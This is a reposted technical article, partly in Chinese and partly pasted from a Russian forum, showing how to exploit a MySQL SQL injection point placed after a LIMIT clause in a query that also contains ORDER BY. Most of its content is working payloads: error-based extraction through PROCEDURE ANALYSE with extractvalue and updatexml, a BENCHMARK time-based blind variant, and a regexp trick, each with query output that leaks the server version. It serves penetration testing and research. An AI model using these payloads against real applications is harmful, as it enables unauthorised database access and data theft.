Mysql注入之Limit關鍵字後面的利用方法

來源:互聯網
上載者:User

細節

在一次測試中,我碰到了一個sql注入的問題,在網上沒有搜到解決辦法,當時的注入點是在limit關鍵字後面,資料庫是MySQL5.x,SQL語句類似下面這樣:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入點】
問題的關鍵在於,語句中有order by 關鍵字,我們知道,mysql 中在order by 前面可以使用union 關鍵字,所以如果注入點前面沒有order by 關鍵字,就可以順利的使用union 關鍵字,但是現在的情況是,注入點前面有order by 關鍵字,這個問題在stackoverflow 上和sla.ckers上都有討論,但是都沒有什麼有效解決辦法。

我們先看看 mysql 5.x 的文檔中的 select 的文法:

SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

limit 關鍵字後面還有 PROCEDURE 和 INTO 關鍵字,into 關鍵字可以用來寫檔案,但這在本文中不重要,這裡的重點是 PROCEDURE 關鍵字.MySQL預設可用的預存程序只有 ANALYSE (doc)。
嘗試用這個預存程序:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE支援兩個參數,試試兩個參數:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
依然無效,嘗試在 ANALYSE 中插入 sql 語句:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

響應如下:

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’

事實證明,sleep 沒有被執行,最終,我嘗試了如下payload :

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

啊哈,上面的方法就是常見的報錯注入,所以,如果注入點支援報錯,那所有問題都ok,但是如果注入點不是報錯的,還可以使用 time-based 的注入,payload 如下:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

有意思的是,這裡不能用sleep而只能用 BENCHMARK。

PHP код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0, 3 /* SQL-inj */;
+-----------+
| host      |
+-----------+
| 127.0.0.1 |
| ::1       |
| host      |
+-----------+
3 rows in set (0.00 sec) 
Вектор работает через PROCEDURE ANALYSE. Все, кто пробовали использовать использовать данный синтаксис, столкнулись с большими проблемами.
PHP код:

mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE(((2))); // Можно заключать аргумент в скобки
Empty set (0.00 sec)

mysql> SELECT host FROM mysql.user PROCEDURE ANALYSE(2 * 2);
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

// Совместное использование ORDER BY и PROCEDURE ANALYSE запрещено:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0, 3 PROCEDURE ANALYSE(4);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure 

Решение

Рассмотрим некоторые из заметок:
MySQL: Альтернативные error-based векторы
Заметка о однократном выполнении выражения, о исполнении невыполнямого выражения

Первая позволяет увидеть процесс формирования запроса:
PHP код:
mysql> SELECT 18446744073709551610 * if((SELECT 1) rlike 1, 2, 2);

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * if((1 regexp 1),2,2))'

// Подзапрос исчез, а rlike заменилось на regexp 
Применять подобный подзапрос можно и в PROCEDURE ANALYSE:
PHP код:

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3));
Empty set (0.00 sec)

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT '3'));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 union SELECT 2 LIMIT 1));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

mysql>  SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY sleep(1)));
Empty set (0.00 sec)

mysql>  SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY /* SQL */));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure 

Итак, выражение протолкнуто в PROCEDURE ANALYSE, однако оно не исполняется (в таблице только одна запись), попрежнему возникает ошибка 1386. Решить обе проблемы может только один вектор - вектор исполнения неисполняемого выражения (см. заметку 2):
Код:

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 5, 0x00, 1)));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 6, 0x00, 1)));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.